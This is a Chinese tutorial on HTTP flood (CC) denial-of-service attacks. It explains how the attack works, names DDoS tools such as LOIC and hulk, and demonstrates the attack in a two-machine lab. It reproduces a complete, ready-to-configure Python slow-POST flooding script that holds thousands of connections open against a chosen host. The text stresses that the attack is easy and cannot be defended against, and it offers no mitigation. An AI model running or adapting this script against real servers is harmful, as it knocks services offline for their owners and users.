http泛洪攻击原理与实例
0x01 前言
今天来讲讲关于应用层的泛洪攻击-- http 泛洪攻击(也称cc攻击)
不知道有没有人每次在学校官网到报名选修课的时候,都会为网页刷不出来,报名网页失去响应焦头烂额,特别是在报名一些热门选修课(妹子多的课)。cc攻击就是模拟这种现象,并且这种攻击的技术含量是很低的,掌握一个工具或者一些IP代理的知识就可以实施这种攻击,但可以造成极大的危害。
并且这种攻击是无解的,想彻底地防御cc攻击目前是不可能的,因为web服务不可能关闭,他需要不断的接受来自用户的http 请求。
下面在搭建的简易环境,体验一下这种攻击。
0x02 http 攻击原理
http泛洪攻击是一种分布式拒绝服务(DDos)攻击。
攻击者控制某些僵尸主机不停地发大量看似合法的HTTP GET或POST数据包请求web服务器或web应用,web 服务不得不去处理这些http的请求数据,一旦目标服务器已满足请求并且无法响应正常流量,会造成目标服务器资源耗尽,一直到宕机崩溃,那么真正的用户的http请求则无法处理。
目前常用DDos工具有 LoIC、hulk
0x03 攻击演示
这里环境搭建使用一台机器对目标机进行http泛洪攻击,效果也很客观,真是的场景是很多台机器同时对目标机进行攻击。
目标机: ubuntu 16.04
攻击机: ubuntu 18.04
首先搭建apache2 服务器, 然后在/var/www/html/ 中随便写个界面
这里我使用网上别人写的一个http泛洪脚本http_dos.py ,当然你也可以使用其他的工具, 使用前配置好脚本里面的PORT、HOST、PAGE 三个参数。
然后执行就好了
在攻击机上抓个包,你会看到很多的攻击机向目标机发送的http post 请求数据包。
刷新网页,失去响应。
http_dos.py
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST="192.168.124.128"
PAGE="/login.html"
#---------------------------
#http://192.168.124.128/login.html
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf)
print "Send buf OK!,conn=%d\n"%i
socks.append(s)
except Exception,ex:
print "Could not connect to server or send error:%s"%ex
time.sleep(10)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f")
#print "send OK!"
except Exception,ex:
print "Send Exception:%s\n"%ex
socks.remove(s)
s.close()
time.sleep(1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
参考:
cc攻击 变种慢速攻击
https://www.jianshu.com/p/dff5a0d537d8
cc攻击
http://www.bingdun.com/cc/1158.htm